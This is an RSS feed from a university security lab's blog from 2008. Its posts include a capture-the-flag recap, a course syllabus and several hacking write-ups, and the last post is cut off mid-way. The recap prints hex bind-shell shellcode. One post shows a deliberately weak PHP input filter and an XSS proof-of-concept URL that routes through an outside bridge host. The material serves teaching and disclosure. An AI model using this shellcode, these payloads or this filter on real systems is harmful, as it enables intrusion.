<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" version="2.0">

<channel>
	<title>ISIS</title>
	
	<link>http://isisblogs.poly.edu</link>
	<description>Information Systems and Internet Security</description>
	<lastBuildDate>Mon, 20 Oct 2008 17:57:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/IsisBlogs" type="application/rss+xml" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">IsisBlogs</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
		<title>CSAW08 CTF</title>
		<link>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/</link>
		<comments>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/#comments</comments>
		<pubDate>Sat, 27 Sep 2008 21:46:33 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Press Release]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=219</guid>
		<description><![CDATA[Our lab holds a Capture the Flag (CTF) hacking contest as part of CSAW each year and the tagline for it is:
&#8220;A digital cyber attack and defense competition in detecting application security vulnerabilities.&#8221;
&#8230;but shhhhh! Don&#8217;t tell marketing, there is absolutely no defense involved!  . I believe that attack has merits on its own, but [...]]]></description>
			<content:encoded><![CDATA[<p>Our lab holds a Capture the Flag (CTF) hacking contest as part of <a href="http://isis.poly.edu/csaw">CSAW</a> each year and the tagline for it is:</p>
<blockquote><p>&#8220;A digital cyber attack and defense competition in detecting application security vulnerabilities.&#8221;</p></blockquote>
<p>&#8230;but shhhhh! Don&#8217;t tell marketing, there is absolutely no defense involved! <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . I believe that attack has merits on its own, but that is a discussion for another time.</p>
<p>CSAW CTF started out in 2004 as a network-based game with dozens of virtual machines running known vulnerable software. The challenge was to discover and detect these issues and then find or tweak public exploits to work on them. This could have been a good way to run CTF, but we simply couldn&#8217;t afford the time to make it work properly. I ended up taking second place to Michael Aiello, now a close friend of mine, that year. Afterwards, Mike and I sacrificed our chances of winning the next year by helping develop the 2005 contest and, along with other members of the lab, changed the game&#8217;s format to how it remains to this day.<br />
<span id="more-219"></span><br />
In CSAW CTF, participants are given a series of challenges divided into different categories and each challenge is worth a specified number of points. In reality, a &#8220;challenge&#8221; is a small bit of code with a single security vulnerability implanted in it. &#8220;Solving&#8221; the challenge means exploiting this vulnerability. The challenge spits out a secret password upon completion which the participant can redeem for points on the scoreboard. We relate this to events like the <a class="link" href="http://nopsr.us/ctf2007prequal/">Defcon Pre-quals</a> without the requirement that participants solve easier challenges first to reach the harder ones. We try to keep a similarly wide breadth of categories; this year we had <em>Web Applications</em>, <em>Binary Exploitation</em>, <em>Reverse Engineering</em>, <em>Trivia</em>, and <em>Bug Hunting</em>. If you&#8217;re interested in what the challenges were then pay attention to, what will likely be called, the OWASP CTF Project which this year&#8217;s CSAW CTF has been donated to. I expect all that to be ready within a week or two and I will definitely make a separate blog post about it.</p>
<p>This year&#8217;s CSAW CTF was our largest ever. We had 46 teams, over 150 individual players, and 50 different schools compete in it (all students too!), putting us at <em>one of the largest CTF competitions world-wide</em>. It&#8217;s gotten to the point where I can name a few, and only a few, other competitions that are larger than we are.</p>
<p>CSAW08 CTF started at 8pm EST on Friday, September 19th and it quickly become clear which teams would end up in the top 10. <strong>MyLittlePwnies</strong>, a team of 8 from <a href="http://www.nps.edu">NPS</a>, methodically solved a majority of the challenges that very first night and got off to an early lead. To my surprise, a small handful of other teams trailed close behind and before the night was over <strong>RPISEC </strong>passed them by! This was not good news for me because between trying to work out the kinks people were finding and answering questions (it was basically a one-man-show this year), I didn&#8217;t have much time to put up new challenges. Let that be a lesson for everyone else planning CTFs out there: always work with a partner, no matter how smooth you think the scoring system is!</p>
<p>As a low-cost way of getting a binary exploitation challenge up, I gave everyone Lurene Grenier&#8217;s <a href="http://vrt-sourcefire.blogspot.com/2008/08/defcon-testing-and-exploiting.html">Advanced WIndows Buffer Overflow (AWBO) #2</a> to chew on. For a challenge that comes with the warning:</p>
<blockquote><p>&#8220;This next test could take a very, very long time. If you become lightheaded from thirst, feel free to pass out. An intubation associate will be dispatched to revive you with peptic salve and adrenaline.&#8221;</p></blockquote>
<p>&#8230; I expected this to buy me some time but 5 teams solved AWBO#2 and some did it within 2 hours. One team even solved it on <em>Vista </em>just because they had no other Windows installations available. Those teams were: TeamTefaye, RPISEC, MyLittlePwnies, teamSparta, and FluxFingers. Congratulations guys, that was really impressive!</p>
<p>The final trivia question for that night was: What does this code do? 31C04089460C89C34089460804048946108D4E08B066CD8089C231<br />
C0C646080266C7460A358289460C8956118D4E08894E154389D980<br />
C10E894E198D4E11B066CD80B0664343CD8031C043894615894619<br />
B066CD8089C331C089460C89C1B03FCD8041B03FCD8041B03FCD80<br />
EB1A5E31C08846098D1E895E0B89460FB00B89F38D4E0B8D560FCD80<br />
E8E1FFFFFF2F62696E2F62617368</p>
<p>Right after I posted it, I made sure to remind MyLittlePwnies since they were asking me for something exploitation or reversing related. Here is my conversation with one of their team members (hint: check the timestamps).</p>
<blockquote><p>(1:52:15 AM) dan: btw, you saw the trivia right?<br />
(1:53:54 AM) blacksheep: yup, just saw that.<br />
(1:54:34 AM) blacksheep: trivia answer is<br />
(1:55:02 AM) blacksheep: bind port backdoor shell on port 13698 on a linux system with /bin/bash as the shell</p></blockquote>
<p>I gave them extra points for such a fast answer <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . The second day ended with <strong>RPISEC </strong>in first, by a small margin, over <strong>Team Tefaye</strong> and <strong>Pwntatoes </strong>in a distant third.</p>
<p>The last day of the competition was a short one, the game was over at 3pm EST on Sunday, September 21st. The only challenges any teams really had time to do were some of the more open-ended ones like the &#8220;Client-side Challenge&#8221; which I&#8217;ll now explain. In the Client-side Challenge, you are taking a class with &#8220;Joe the TA&#8221; and you really want to break into either his e-mail or his local computer for advance information about tests and homeworks. He handed out his e-mail to you at the beginning of the semester and you know that he logs in to a webmail installation conveniently hosted on the CTF server. &#8220;Joe&#8221; also tends to click on any link that looks convincing. Teams were given 500 points for access to his mail spool, 1000 points for access to his filesystem, and 400 points if they could persist that access across the &#8220;semester&#8221; (a rootkit, an email forward, a persistent XSS, etc). Let me tell you, NEVER click on a link from Team Tefaye! Their first try set up an e-mail forward, a persistent XSS, and stole my session cookies while forwarding me to the intended link target described in their e-mail all in a single action. They returned later and trojaned the box for an extra 1000 points. Damn! This finally put Team Tefaye in a solid lead over RPISEC which they were able to maintain until the end of the contest.</p>
<p>Here&#8217;s the final scoreboard:<br />
<a href="http://isisblogs.poly.edu/wp-content/uploads/ctf_final_cropped.png" rel="lightbox[219]"><img class="alignnone size-thumbnail wp-image-221" title="ctf_final_cropped" src="http://isisblogs.poly.edu/wp-content/uploads/ctf_final_cropped-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>Team Tefaye</strong> took first, <strong>RPISEC </strong>took second, and <strong>Pwntatoes </strong>took third. <strong>The Down Ownerz</strong> got the bonus prize for being the youngest team playing. Congratulations guys!</p>
<p>There was a lot of great stuff that went on last weekend and I&#8217;m sorry I couldn&#8217;t get to all of it in this blog post. If any of the people who played have more to say, post it in a comment.</p>
<p><a href="http://rgov.org/?p=119">rgov from RPISEC</a>: &#8220;(Bonus: I was able to use cross-site scripting to RickRoll most of the players and some of the organizers.)&#8221; Yep, NoScript doesn&#8217;t work so well when you whitelist the domain <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_mad.gif' alt=':-x' class='wp-smiley' /> </p>
<p><a href="http://robescriva.com/2008/09/rpi-sec-becomes-official/">Rob Escriva from RPISEC</a>: &#8220;This weekend I&#8217;ll be doing a writeup on a bug I found in the &#8220;leaky&#8221; challenge of the 2008 <a href="http://isis.poly.edu/csaw/">CSAW</a> contest.&#8221;</p>
<p>I almost forgot, I have a few people to thank for helping out in various ways with CTF: Alicia Bozyk, Aleksey, Dean De Beer, Stephen Ridley, Michael Aiello, and Eric Hulse. Thanks guys!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/09/27/csaw08-ctf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Security Awareness Posters</title>
		<link>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/</link>
		<comments>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 23:27:10 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Press Release]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Social Engineering]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=208</guid>
		<description><![CDATA[Every year, as part of CSAW, we hold a Security Awareness Poster contest where we ask students to convey a simple message regarding any current issue in information security. These posters always turn out amazing and are among the most impressive, if non-technical, entries we get. Unfortunately, we haven&#8217;t been so good at sharing these [...]]]></description>
			<content:encoded><![CDATA[<p>Every year, as part of <a href="http://isis.poly.edu/csaw">CSAW</a>, we hold a Security Awareness Poster contest where we ask students to convey a simple message regarding any current issue in information security. These posters always turn out amazing and are among the most impressive, if non-technical, entries we get. Unfortunately, we haven&#8217;t been so good at sharing these posters with others and usually only make a few printouts for ourselves in the lab.</p>
<p>Today, that is going to change. I uploaded my hand-picked favorites from the last 3 years to my web site for the entire web to enjoy! I tried to mark who made what poster in the title but please leave me a message if I missed yours.</p>
<div id="attachment_209" class="wp-caption aligncenter" style="width: 241px"><a href="http://isisblogs.poly.edu/wp-content/uploads/private-information-is-worth-keeping-hidden.jpg" rel="lightbox[208]"><img class="size-medium wp-image-209" title="private-information-is-worth-keeping-hidden" src="http://isisblogs.poly.edu/wp-content/uploads/private-information-is-worth-keeping-hidden-231x300.jpg" alt="" width="231" height="300" /></a><p class="wp-caption-text">Amanda Morante&#39;s 1st place entry from 2006</p></div>
<p><a href="http://cryptocity.net/files/awareness_posters/">View the full library of awareness poster images here</a>.</p>
<p>Registration for <a href="http://isis.poly.edu/csaw">CSAW 2008</a> is still open and we will be having the <a href="http://isis.poly.edu/csaw/awareness">Security Awareness Poster</a> contest again, in addition to 6 other contests. If you know any graphic designers, convince them to join!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/09/01/security-awareness-posters/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Fall Penetration Testing and Exploit-Dev course</title>
		<link>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/</link>
		<comments>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 17:00:05 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=158</guid>
		<description><![CDATA[This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by Fortify Software and Matta (thank you!). Additionally, the class will be held on-campus rather than online as it has been.
The instructor for the course is [...]]]></description>
			<content:encoded><![CDATA[<p>This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by <a href="http://www.fortify.com/">Fortify Software</a> and <a href="http://trustmatta.com/">Matta</a> (thank you!). Additionally, the class will be held on-campus rather than online as it has been.</p>
<p>The instructor for the course is Nasir Memon with TA&#8217;s Dan Guido (me) and Vikram Padman. The syllabus has been finalized and the guest professors as well as their respective topics are as follows:</p>
<ul>
<li> Sept 4th &#8212; Introduction and <a href="http://isis.poly.edu/csaw/">CSAW</a>, <a href="http://cryptocity.net/">Dan Guido</a></li>
<li> Sept 11th &#8212; Source Code Analysis, <a href="http://cryptocity.net/">Dan Guido</a><a href="http://cryptocity.net/" target="_blank"></a></li>
<li> Sept 18th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
<li> Sept 25th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
</ul>
<ul>
<li> October 2nd &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 9th &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 16th &#8212; TAKE-HOME MIDTERM</li>
<li> October 23rd &#8212; Fuzzing,Â <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
<li> October 30th &#8212; Fuzzing, <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
</ul>
<ul>
<li> November 6th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 13th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 20th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
<li> November 27th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
</ul>
<ul>
<li> December 4th &#8212; FINAL PROJECTS</li>
<li> December 11th &#8212; hack the planet/show off projects</li>
</ul>
<p>Students will have to complete one homework assignment every two weeks, a take-home midterm, and do a final project of their choosing. Each two week session will contain one full session of Q&amp;A to review the homework associated with it. Extra credit will be given for participating in <a href="http://isis.poly.edu/csaw/">CSAW</a> and <a href="http://www.cs.ucsb.edu/~vigna/CTF/">UCSB iCTF</a>.</p>
<p>Any questions about the course can be e-mailed to me at <a href="mailto:dguido@gmail.com">dguido@gmail.com</a>.</p>
<p>EDIT: The course will be held in room <strong>RH227</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>ComputerWorld: NYU-Poly, an IT school to watch</title>
		<link>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/</link>
		<comments>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/#comments</comments>
		<pubDate>Wed, 20 Aug 2008 18:14:04 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[ISIS in the News]]></category>
		<category><![CDATA[Meta]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=201</guid>
		<description><![CDATA[A recent article in ComputerWorld profiled NYU-Poly, and specifically the ISIS lab, as 1 of 10 &#8220;IT Schools to Watch.&#8221;
When Stan Nurilov attended Polytechnic Institute of New York University in an accelerated bachelor&#8217;s/master&#8217;s of computer science program from 2002 to 2006, he truly enjoyed the technical courses he took in areas like operating systems and [...]]]></description>
			<content:encoded><![CDATA[<p>A recent article in ComputerWorld <a href="http://www.computerworld.com/action/article.do?command=printArticleBasic&#038;articleId=322705">profiled NYU-Poly</a>, and specifically the ISIS lab, as 1 of 10 &#8220;<a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&#038;articleId=9112620">IT Schools to Watch</a>.&#8221;</p>
<blockquote><p>When Stan Nurilov attended Polytechnic Institute of New York University in an accelerated bachelor&#8217;s/master&#8217;s of computer science program from 2002 to 2006, he truly enjoyed the technical courses he took in areas like operating systems and databases.</p>
<p>But it wasn&#8217;t until he graduated and began working as a software developer/project leader for a branch of the U.S. military that Nurilov fully appreciated the project-level courses that taught him about leadership qualities.</p>
<p>&#8220;Those classes really help me when I need to work with customers and gain collaboration on projects,&#8221; he says.</p></blockquote>
<p>Stan is a graduate of our <a href="http://isis.poly.edu/index.php?page=4">SFS</a> program that pays for two years of tuition, rent, and other expenses in exchange for a commitment to work at a government agency for two years.</p>
<p>Head over to <a href="http://www.computerworld.com/action/article.do?command=printArticleBasic&#038;articleId=322705">ComputerWorld</a> and read the rest of the article!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/20/computerworld-nyu-poly-an-it-school-to-watch/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>PHP strip_tags not a complete protection against XSS</title>
		<link>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/</link>
		<comments>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 02:17:01 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=187</guid>
		<description><![CDATA[On August 13th .mario, a high-profile member of the sla.ckers.org forum, alerted me to a XSS issue on the CSAW registration form. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:
//don't use this script!
foreach ($_COOKIE as &#38;$cookie) {
 [...]]]></description>
			<content:encoded><![CDATA[<p>On August 13th <a href="http://sla.ckers.org/forum/profile.php?13,59">.mario</a>, a high-profile member of the <a href="http://sla.ckers.org/forum/">sla.ckers.org</a> forum, alerted me to a XSS issue on the CSAW <a href="http://isis.poly.edu/csaw/register">registration form</a>. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:</p>
<pre>//don't use this script!
foreach ($_COOKIE as &amp;$cookie) {
  $cookie = trim(strip_tags(@mysqli_real_escape_string($mySQL, $cookie)));
}
foreach ($_POST as &amp;$post) {
  if (is_array($post)) {
    foreach ($post as &amp;$_post) {
      $_post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $_post)));
    }
  }
  else {
    $post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $post)));
  }
}</pre>
<p>Additionally, the registration script limits sources of user controllable input by only ever using the POST and COOKIE superglobals.<br />
<span id="more-187"></span></p>
<p>This script eliminates potential SQL injections by calling <a href="http://www.php.net/mysqli_real_escape_string">mysqli_real_escape_string</a> on all user input. The *_real_escape_string functions in PHP are the only safe way to prevent SQL injection attacks as there are ways to sneak attacks by the [deprecated] *_escape_string and addslashes functions, for example, with <a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string">different character encodings</a>.</p>
<p>After being processed by mysql_real_escape_string, all user input is then filtered through <a href="http://www.php.net/strip_tags">strip_tags</a>, a function which one might <em>think</em> would prevent cross-site-scripting attacks by completely removing any HTML and PHP tags it finds. strip_tags works through many different encodings and very effectively <em>strips tags</em>, however, seasoned web hackers will be saying at this point &#8220;there are other ways to inject javascript without tags!&#8221; and they would be right.</p>
<p>The easiest way to avoid strip_tags is to inject a quote to close the current attribute, create a giant block with a new CSS style attribute, and make it evaluate javascript onmouseover. Using <a href="http://sla.ckers.org/forum/read.php?2,20942">an example</a> from the sla.ckers.org forum and .mario himself:</p>
<pre>" onwhatever=alert(1) a="</pre>
<p>This accomplishes the goal of injecting javascript into the target application without creating any additional HTML or PHP tags, and strip_tags won&#8217;t pick it up!</p>
<p>I asked .mario if he would be kind enough to provide us with a proof of concept that would work specifically in the context of the CSAW registration page. He did not disappoint and PM&#8217;d me the following attack string:</p>
<blockquote><p>http://evil.hackademix.net/name.xss/***http://isis.poly.edu/csaw/register?name=&#8221;style=&#8221;a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;&#8221;onmouseover=alert(/XSS/[-1]);eval(name) a=&#8221;***content,post</p>
<p>*** This has been URL decoded.<br />
*** For the original, please see <a href="http://preview.tinyurl.com/csawxss">http://preview.tinyurl.com/csawxss</a></p></blockquote>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss.png" rel="lightbox[187]"><img class="aligncenter size-medium wp-image-188" title="csaw-xss" src="http://isisblogs.poly.edu/wp-content/uploads/csaw-xss-300x138.png" alt="" width="300" height="138" /></a></p>
<p>His attack utilizes a service <a href="http://hackademix.net/">Giorgio Maone</a> wrote (the name.xss part of the URL) to launch XSS attacks on websites that limit user input to parameters other than GET, as ours does. The attack works as I described above, by adding new attributes into the existing tag and creating a large CSS block that triggers javascript onmouseover. Interestingly, this complicated attack string is processed as javascript by all the major browsers including IE8, Firefox 3, Opera 9.51, and Safari 3! I was really impressed.</p>
<p>After verifying the PoC, I made a small addition to our filtering script to prevent this attack by adding an <a href="http://www.php.net/htmlentities">htmlentities</a> function call to each iteration of the two loops. This isn&#8217;t the best solution as it escapes input more than is necessary and I didn&#8217;t have a chance to bug test it much at all. A better solution can be found in the same sla.ckers.org forum post I found the attack string in:</p>
<blockquote><p>&#8230;the best practice is IMHO:</p>
<p>Input -&gt; Validate -&gt; Filter (CRLF, Ctrl-Chars) -&gt; Escape -&gt; Store -&gt; Encode (Just the characters you need to encode) -&gt; Output</p>
<p>Validation can be done via type check or regex, for filtering the ord() method does a great job, escaping is done by mysql_(real)_escape_string() and encoding is done by correctly parametrized htmlentities().</p></blockquote>
<p>We&#8217;ll be looking into ways to rewrite our filtering script according to this advice, and also at <a href="http://php-ids.org/">PHP-IDS</a>, as a way to prevent these types of issues in the future.</p>
<p>Thanks <a href="http://mario.heideri.ch/">.mario</a>!</p>
<p>EDIT 08/17/2008: I incorrectly attributed the name.xss bridge to mario. It is actually the creation of Giorgio Maone.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/16/php-strip_tags-not-a-complete-protection-against-xss/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Fortify Hacking Challenge</title>
		<link>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/</link>
		<comments>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 18:03:10 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=178</guid>
		<description><![CDATA[I also did the Fortify [Web] Hacking Challenge last week. Their challenge was refreshingly different, fun, and relaxing compared to the other web hacking challenges I&#8217;ve done. I really enjoyed playing in it even if it only lasted a short time. Here&#8217;s the official description of the contest:
The link below will take you to a [...]]]></description>
			<content:encoded><![CDATA[<p>I also did the <a href="http://www.fortify.com/">Fortify</a> [Web] <a href="http://thehackingchallenge.com/">Hacking Challenge</a> last week. Their challenge was refreshingly different, fun, and relaxing compared to the other web hacking challenges I&#8217;ve done. I really enjoyed playing in it even if it only lasted a short time. Here&#8217;s the official description of the contest:</p>
<blockquote><p>The link below will take you to a Web site which contains numerous vulnerabilities but is being defended by the Fortify Real-Time Analyzer (RTA). When you conduct an attack, Fortify RTA will block your efforts and redirect you to a separate page. However, if you conduct a particularly impressive attack, Fortify RTA will redirect you to a different page, with a code word. There are three code words available.</p></blockquote>
<p>Fortify RTA had a tight lock on that website! I probably came up with a hundred separate attacks against their website, but they were only looking for a very specific 3. Every so often, I&#8217;d come up with what I thought was an impressive attack but it wouldn&#8217;t give me any points! Here&#8217;s one example:</p>
<blockquote><p>I found an authorization problem when viewing account details that let me enumerate the database for and grab the account details of every client in the bank. I used Burp Intruder to automate harvesting this data, making over 10,000 requests to the server to gather the info. Then I manipulated client-side parameters on the &#8216;transfer funds&#8217; page to steal money from other clients and deposit it into my account. This wasn&#8217;t an attack they were looking for and didn&#8217;t get me any points! Grrr.. </p></blockquote>
<p>I took screenshots of all the <em>actual</em> attacks below.<br />
<span id="more-178"></span></p>
<p>You had to recognize that they set an AuthType cookie when you logged in. Changing this cookie to 0 let you view and access a hidden admin panel.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifyauthtype.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifyauthtype-300x227.png" alt="" title="fortify-authtype" width="300" height="227" class="aligncenter size-medium wp-image-182" /></a></p>
<p>Once in the admin panel, RTA triggered on a command injection vulnerability:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode3.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode3-300x219.png" alt="" title="fortify-commandinj" width="300" height="219" class="aligncenter size-medium wp-image-184" /></a></p>
<p>&#8230; and on cross-site-scripting the other admins:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode2.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode2-300x180.png" alt="" title="fortify-xss" width="300" height="180" class="aligncenter size-medium wp-image-185" /></a></p>
<p>The last attack was a SQL injection on the account details page:</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fortifycode1.png" rel="lightbox[178]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fortifycode1-300x88.png" alt="" title="fortify-sqli" width="300" height="88" class="aligncenter size-medium wp-image-183" /></a></p>
<p>My biggest problem was that I overthought the attacks they were looking for. Once I calmed down and stopped trying to become a millionaire/root-shell-0wner I realized they were probably looking for the basic web vuln trifecta: command injection, xss, and sqli. All in all, a really fun challenge. Thanks Fortify!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/15/fortify-hacking-challenge/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>F-Secure Khallenge Level 1</title>
		<link>http://isisblogs.poly.edu/2008/08/15/f-secure-khallenge-level-1/</link>
		<comments>http://isisblogs.poly.edu/2008/08/15/f-secure-khallenge-level-1/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 05:18:21 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Crypto]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=165</guid>
		<description><![CDATA[Thanks to Aleksey and Phn1x for dealing with my constant stream of questions while reversing this. You&#8217;d think it was the first time I opened a debugger!
The level 1 challenge was a binary that asked for input and, if your input was correct, printed out an e-mail address you could use to get the level [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks to Aleksey and <a href="http://hamsterswheel.com/techblog/?p=128">Phn1x</a> for dealing with my constant stream of questions while reversing this. You&#8217;d think it was the first time I opened a debugger!</p>
<p>The level 1 <a href="http://www.f-secure.com/security_center/asm.html">challenge</a> was a binary that asked for input and, if your input was correct, printed out an e-mail address you could use to get the level 2 binary. The Khallenge is a contest of speed, so the first person to get to and beat level 3 wins. Unfortunately, I solved level 1 after the contest ended and the level 2 and 3 binaries aren&#8217;t online yet, so no prizes and no info on those.</p>
<p><span id="more-165"></span></p>
<p>The first thing I did was open the binary is a disassembler and try to get a general feel for it. This would help me develop an attack strategy. In IDA, you can easily identify that your input is being XOR&#8217;d almost a dozen times and with a global variable somewhere. It quickly overwhelmed me, so I took out a pen and paper and started writing things down. I also had lots of problems identifying exact addresses and byte offsets in IDA (I haven&#8217;t used it much before), so I switched to <a href="http://www.immunitysec.com/products-immdbg.shtml">Immunity Debugger</a> at this point.</p>
<p>The first set of instructions your input needs to pass through are at addresses<br />
69001081 to 6900108F, and it turns out they are a compiler-optimized strlen function. Pseudocode for these addresses looks like this:</p>
<pre>if(strlen(input) != 4)
    fail();
else
    ...</pre>
